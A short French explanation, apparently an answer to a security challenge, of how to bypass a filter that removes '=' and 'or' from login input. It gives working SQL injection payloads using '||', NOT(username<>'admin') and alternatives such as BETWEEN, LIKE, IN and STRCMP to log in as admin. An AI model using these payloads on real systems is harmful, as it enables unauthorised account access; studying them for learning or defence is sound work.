En supposant cette définition de lvl2_filter
, qui supprime essentiellement toute occurrence de =
et or
jusqu'à ce qu'il ne soit plus trouvé, il devrait toujours être possible d'utiliser le opération OU logique
avec ||
au lieu de OR
et une expression simple qui prend la valeur true comme :
username: dummy
password: ' || '1
Cela se traduirait par :
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Pour sélectionner un utilisateur spécifique, on peut utiliser les règles de l'algèbre booléenne
, où x=y
=!(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
Cela se traduirait par :
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Ici <>
est équivalent à !=
mais ne contient pas de =
.
Il existe également d'autres opérations que l'on pourrait utiliser pour garantir nom d'utilisateur est égal à admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …